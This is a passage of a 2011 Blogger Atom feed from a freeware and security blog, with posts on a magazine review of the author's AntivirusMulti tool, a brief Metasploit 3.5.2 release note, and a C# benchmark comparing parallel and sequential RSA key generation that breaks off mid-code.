<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;A08NRXs_cCp7ImA9WhRWEEs.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230</id><updated>2011-12-28T11:58:14.548+01:00</updated><category term="x5s" /><category term="strongpasswordgenerator" /><category term="heuristic algorithm" /><category term="matousec" /><category term="parallel computing" /><category term="ai" /><category term="books" /><category term="bug" /><category term="fbreader" /><category term="vulnerability" /><category term="malware" /><category term="hash" /><category term="tampering" /><category term="watcher" /><category term="forensics analysis" /><category term="misura connessione internet" /><category term="errore numero 2" /><category term="memoria" /><category term="cookie" /><category term="chrome" /><category term="umbraco opensource" /><category term="nexpose" /><category term="meterpreter manual" /><category term="backtrack" /><category term="caffeine" /><category term="detection" /><category term="informant" /><category term="moredatafast" /><category term="crittografia gsm" /><category term="transmission files" /><category term="winapi" /><category term="lock account" /><category term="msfencode option" /><category term="browser test" /><category term="primo errore" /><category term=".text" /><category term="StealthMessage" /><category term="RSACryptoServiceProvider" /><category term="web site security" /><category term="sicurezza" /><category term="opera" /><category term="hook" /><category term="patch" /><category term="impronta" /><category term="ocr freeware" /><category term="multithread" /><category term="false positives" /><category term="noel" /><category term="system" /><category term="python ruby" /><category term="java" /><category term="castagna gianmarco" /><category term="wifi" /><category term="weclient" /><category term="auto web browser" /><category term="sandboxie" /><category term=".net code security" /><category term="Metasploit" /><category term="human interface" /><category term="azienda 2.0" /><category term="summit" /><category term="css 0 day vista seven" /><category term="google street view" /><category term="bitorrentprotocol" /><category term="nemesis connessione internet" /><category term="opesnource" /><category term="rational appscan" /><category term="newzie" /><category term="bytes" /><category term="text" /><category term="passwordsafe" /><category term="man-in-the-middle" /><category term="n-stealth" /><category term="ddl memory" /><category term="3.5.2" /><category term="definition signature" /><category term="windows firewall" /><category term="bitorrent" /><category term="asp.net" /><category term="framework test" /><category term="ubuntu" /><category term="mac address" /><category term="filesharing" /><category term="email inaccessibile" /><category term="ruby" /><category term="smtp" /><category term="processchunkmemory" /><category term="peer" /><category term="html browse" /><category term="xblr" /><category term="rsa" /><category term="avira" /><category term="motore di ricerca" /><category term="reverse engineering" /><category term="nist" /><category term="the informant" /><category term="techrepublic" /><category term="antivirusmulti 1.4" /><category term="flock" /><category term="GDI" /><category term="documento" /><category term="IMSI-catcher" /><category term="strongpassword" /><category term="openoffice" /><category term="ram image" /><category term="autenticazione" /><category term="html browset" /><category term="csharp" /><category term="offensive security" /><category term="opensource" /><category term="ios" /><category term="ips" /><category term="plugin" /><category term="dll os" /><category term="user interface" /><category term="tuner" /><category term="uml" /><category term="securefiletransfer" /><category term="software freeware" /><category term="freewaresoftware" /><category term="firewall" /><category term="manipolazione immagini" /><category term="artificial intelligence" /><category term="vb .net" /><category term="update" /><category term="sha footprint" /><category term="lnk" /><category term="hardware" /><category term="analisi immagini" /><category term="easyhook" /><category term="router" /><category term="file transmission" /><category term="crittografia" /><category term="p2p" /><category term="ebooks" /><category term="antivirusmulti 1.2" /><category term="freeware software" /><category term="c# process" /><category term="peer to peer" /><category term="sam kamkar" /><category term="filemonitor" /><category term="multicore" /><category term="lynx" /><category term="thread" /><category term="bitconverter" /><category term="psi" /><category term="umbraco" /><category term="wikipedia" /><category term="moonsols" /><category term="ubuntu netbook edition" /><category term="interessante" /><category term="firewalls" /><category term="sql" /><category term="fileshare rinjadeal securefile" /><category term="unix" /><category term="antivirusmulti" /><category term="conversione codice" /><category term="dll sisteam" /><category term="password.password.safe" /><category term="secunia psi" /><category term="riconoscimento facciale" /><category term="f-prot" /><category term="geolocalizzazione gsm" /><category term="Comodo Antivirus Free" /><category term="process hacker" /><category term="strong password" /><category term="signatures virus" /><category term="apple mac" /><category term="browser crawler" /><category term="monitor file" /><category term="kernel32" /><category term="khobe" /><category term="gmailc# smtp client class example" /><category term="engine heuristic detection" /><category term="umts" /><category term="html5" /><category term="webbrowser" /><category term="ram" /><category term="processhacker" /><category term="self check memory" /><category term="Secunia Pesonal Inspector" /><category term="memdump" /><category term="save screen" /><category term="ocr scan" /><category term="ikvm" /><category term="4.0" /><category term="javscript" /><category term="black hat" /><category term="c#" /><category term="paros proxy" /><category term="firefox" /><category term="cisco" /><category term="system.drawing" /><category term="Wolframalpha" /><category term="secure file transmission" /><category term="secunia" /><category term="pinvoke" /><category term="Google Caffeine" /><category term="email offuscata" /><category term="legalkeysizes" /><category term="webclient headers" /><category term="fatkit" /><category term="conference las vegas" /><category term="link" /><category term="macro" /><category term=".net" /><category term="antimalware" /><category term="security summit milan" /><category term="browser-crawler" /><category term="mcafee" /><category term="code injection" /><category term="software gratuito" /><category term="secure file transfer" /><category term="vb.net" /><category term="snort" /><category term="cpu" /><category term="internet banking" /><category term="image manipulation" /><category term="file transfer" /><category term="freeware acunetix" /><category term="virtualbox" /><category term="aes" /><category term="wmware" /><category term="nightly build" /><category term="goa" /><category term="misura internet nemesis" /><category term="webinspect" /><category term="sharpdevelop" /><category term="os" /><category term="vmware" /><category term="security" /><category term="msfencode" /><category term="ram analysis" /><category term="sophos" /><category term="gsm" /><category term="nikto" /><category term="comodo" /><category term="india" /><category term="from decompilation" /><category term="video capture" /><category term="forensics" /><category term="gratis software" /><category term="heuristic" /><category term="software gratis" /><category term="linux backtrack" /><category term="footprint" /><category term="software" /><category term="gianmarcocastagna" /><category term="ids" /><category term="html" /><category term="Wolfram" /><category term="ssl" /><category term="nemesis" /><category term="pdf html" /><category term="personal software inspector" /><category term="web browser" /><category term="virtual box" /><category term="samurai" /><category term="substring.indexof" /><category term="hash sha footprint" /><category term="cross site scripting" /><category term="interface design" /><category term="code converter" /><category term="exploit" /><category term="uri" /><category term="librerie" /><category term="phyton" /><category term="meterpreter" /><category term="kezzenger" /><category term="tiff.jpg.tif" /><category term="kill system process" /><category term="sandbox" /><category term="bitdefender" /><category term="url" /><category term="virus signature" /><category term="account facciale" /><category term=".lnk remote code execution" /><category term="mterpreter" /><category term="dll" /><category term="zfs" /><category term="signatures" /><category term="memory injecton" /><category term="dynamic" /><category term="combined" /><category term="kaspersky" /><category term="email scadenza" /><category term="sql injection" /><category term="vulnerable software" /><category term="sql server express" /><category term="magiiso" /><category term="zonealarm" /><category term="secure file sharing" /><category term="opensource software" /><category term="tech papers" /><category term="KeySizes" /><category term="memory parser" /><category term="railgun" /><category term="ebanking" /><category term="link windows shell" /><category term="errori sicurezza" /><category term="python" /><category term="cms" /><category term="geolocalizzazione google" /><category term="secuirity summit" /><category term="Avira Personal" /><category term="browser" /><category term="internet" /><category term="windows" /><category term="webclient cookie" /><category term="sicurezza informatica" /><category term="pif remote code execution" /><category term="opensrouce software" /><category term="antimeter" /><category term="crawler" /><category term="combined attack" /><category term="sp.net" /><category term="software  freeware" /><category term="intranet" /><category term="darkoperator" /><category term=".net c#" /><category term="database" /><category term="operating system" /><category term="ricoscimento facciale" /><category term="linux" /><category term="argument-switch attack" /><category term="rss feed" /><category term="multicore programming" /><category term="paros" /><category term="office" /><category term="staruml" /><category term="nologin" /><category term="xmlvm.iphone" /><category term="internet explorer" /><category term="process" /><category term="controlling windows firewall" /><category term="ramcontroller" /><category term="c# process hacker" /><category term="web vulnerability" /><category term="bsd" /><category term="encryption best software" /><category term="strong password generator" /><category term="reflective ddlinjection" /><category term="comodo firewall" /><category term="code translation" /><category term="freeware ocr scan" /><category term="email send" /><category term="libface" /><category term="motion detection" /><category term="acunetix" /><category term="Memory Improve Ultimate Free Version" /><category term="blog" /><category term="smtpclient" /><category term="heuristic engine" /><category term="update securefiletransfer" /><category term="secuing assembly" /><category term="Remote Library Injection" /><category term="free software" /><category term="antivirus" /><category term="reflective dll injection" /><category term="blogger" /><category term="password strong" /><category term=".net csharp" /><category term="argument switch attack" /><category term="compilatore" /><category term="baseaddress" /><category term="ngen" /><category term="ios sdk" /><category term="https" /><category term="data transmission" /><category term="mozilla" /><category term="italian language" /><category term="gianmarco castagna" /><category term="opensolaris" /><category term="mono" /><category term="internet 2.0" /><category term="c# 4.0" /><category term="memory explorer" /><category term="definition heuristic algorithm" /><category term="fiddler" /><category term="argument switch" /><category term="deadlock" /><category term="avg" /><title>Gianmarco Castagna Blog</title><subtitle type="html">freeware software informations,opinions,news and comparisons</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://freeware--software.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>154</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/hHAGT" /><feedburner:info uri="blogspot/hhagt" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DEAGQH4yfCp7ImA9WhZSFEQ.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-3023286665304833163</id><published>2011-03-28T12:20:00.000+02:00</published><updated>2011-03-30T16:52:01.094+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-30T16:52:01.094+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="antivirusmulti" /><category scheme="http://www.blogger.com/atom/ns#" term=".net csharp" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term=".net" /><category scheme="http://www.blogger.com/atom/ns#" term="antivirus" /><category scheme="http://www.blogger.com/atom/ns#" term="opensrouce software" /><title>The German magazine online Chip reviews AntivirusMulti 2.3</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span onmouseout="_tipoff()" onmouseover="_tipon(this)"&gt;Chip  Magazine Germany has reviewed AntivirusMulti 2.3 (I'm the author )  and it has included antivirusmulti in "permanent" download list , I hope that users can send me  email or add anonymous comment for opinions or suggestions for new features,you can give me an opportunity for improving this software.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_9_voOcJB60M/TIoFfJ75NGI/AAAAAAAAAKE/bkvZHegXb7U/s1600/chippick.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;
&lt;/a&gt;&lt;a href="http://www.chip.de/downloads/Antivirus-Multi_44270161.html"&gt;&lt;br /&gt;
&lt;img border="0" src="http://2.bp.blogspot.com/_9_voOcJB60M/TIoFfJ75NGI/AAAAAAAAAKE/bkvZHegXb7U/s320/chippick.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_9_voOcJB60M/TIoMfVpl1fI/AAAAAAAAAKM/KeVcqptulwg/s1600/chippick_header_3_mail_an_hersteller.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_9_voOcJB60M/TIoMfVpl1fI/AAAAAAAAAKM/KeVcqptulwg/s320/chippick_header_3_mail_an_hersteller.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span onmouseout="_tipoff()" onmouseover="_tipon(this)"&gt;&lt;a href="http://code.google.com/p/antivirusmulti/"&gt;here the project&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span onmouseout="_tipoff()" onmouseover="_tipon(this)"&gt;send me an email or add comment for your opinion &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-3023286665304833163?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AQE7EpTzxch0bGKTOMtjGkZfwKQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AQE7EpTzxch0bGKTOMtjGkZfwKQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AQE7EpTzxch0bGKTOMtjGkZfwKQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AQE7EpTzxch0bGKTOMtjGkZfwKQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/Ds36Gtwozz4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/3023286665304833163/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/09/german-magazine-online-chip-reviews.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3023286665304833163?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3023286665304833163?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/Ds36Gtwozz4/german-magazine-online-chip-reviews.html" title="The German magazine online Chip reviews AntivirusMulti 2.3" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_9_voOcJB60M/TIoFfJ75NGI/AAAAAAAAAKE/bkvZHegXb7U/s72-c/chippick.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/09/german-magazine-online-chip-reviews.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUMQXo4cCp7ImA9Wx9bFE0.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-8446492835178955731</id><published>2011-02-22T20:49:00.002+01:00</published><updated>2011-02-22T20:51:20.438+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-22T20:51:20.438+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="3.5.2" /><category scheme="http://www.blogger.com/atom/ns#" term="meterpreter" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><title>Metasploit 3.5.2</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;risale al 9 febbraio l'uscita della nuova release che migliora l'installazione ed aggiunge alcuni script ed exploits per eseguire ulteriori test http://www.metasploit.com/&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-8446492835178955731?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AzB0E0Eu0akaTa_6N8dIxrJjxyA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AzB0E0Eu0akaTa_6N8dIxrJjxyA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AzB0E0Eu0akaTa_6N8dIxrJjxyA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AzB0E0Eu0akaTa_6N8dIxrJjxyA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/xLrjACnx11g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/8446492835178955731/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2011/02/metasplooit-352.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/8446492835178955731?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/8446492835178955731?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/xLrjACnx11g/metasplooit-352.html" title="Metasploit 3.5.2" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2011/02/metasplooit-352.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMDQXoycSp7ImA9Wx9bEUU.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-2248477181489770301</id><published>2011-01-24T20:58:00.031+01:00</published><updated>2011-02-20T07:47:50.499+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-20T07:47:50.499+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="multicore programming" /><category scheme="http://www.blogger.com/atom/ns#" term="parallel computing" /><title>Using multicore power : TPL library ,a simple test for Parallel.For , running time "&lt; 40%"</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Recent pc have multicore processor but rarely code is optimized for using this power,generally processor&amp;nbsp; allows a fast responsive application without using multitasking multithreading tecniques , some time you have that a single threaded application run into a core and other core&amp;nbsp; sleep....&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have do a simple test for seeing performance difference from sequential programming and parallel programming "ready to use" from TPL library :&lt;br /&gt;
language&amp;nbsp; c# ,namespace windows forms ,cryptography,system.threading.tasks (under last namespace you can find &lt;b&gt;Parallel &lt;/b&gt;and other interesting things like PLinq and Task object ),&lt;br /&gt;
like hard work for processor I choose generation of asymettric pairs key I use RSA.Create()&lt;br /&gt;
&lt;br /&gt;
this is the code :&lt;br /&gt;
&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.ComponentModel;&lt;br /&gt;
using System.Data;&lt;br /&gt;
using System.Drawing;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
namespace TestParallel&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public partial class Form1 : Form&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Form1()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; InitializeComponent();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void Form1_Load(object sender, EventArgs e)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void TestParallel()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DateTime dt1 = DateTime.Now;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var pairs = new string[100];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //auto generate multiple thread&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //rsa creation keys like hard work&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Parallel.For(0, pairs.Length,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i =&amp;gt; pairs[i] = RSA.Create().ToXmlString(true));&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DateTime dt2 = DateTime.Now;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TimeSpan ts = dt2.Subtract(dt1);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int hours = ts.Hours;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int minutes = ts.Minutes;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int seconds = ts.Seconds;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int millisesonds = ts.Milliseconds;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string str = hours.ToString() + ":" + minutes.ToString() + ":" + seconds.ToString() + ":" + millisesonds.ToString();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.textBox1.Text=str;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void TestSequential()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DateTime dt1 = DateTime.Now;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //single thread&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var pairs = new string[100];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int l = pairs.Length;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int k=0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(k&amp;lt;l) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pairs[k] = RSA.Create().ToXmlString(true);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; k++;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DateTime dt2 = DateTime.Now;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TimeSpan ts = dt2.Subtract(dt1);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int hours = ts.Hours;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int minutes = ts.Minutes;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int seconds = ts.Seconds;&lt;br /&gt;
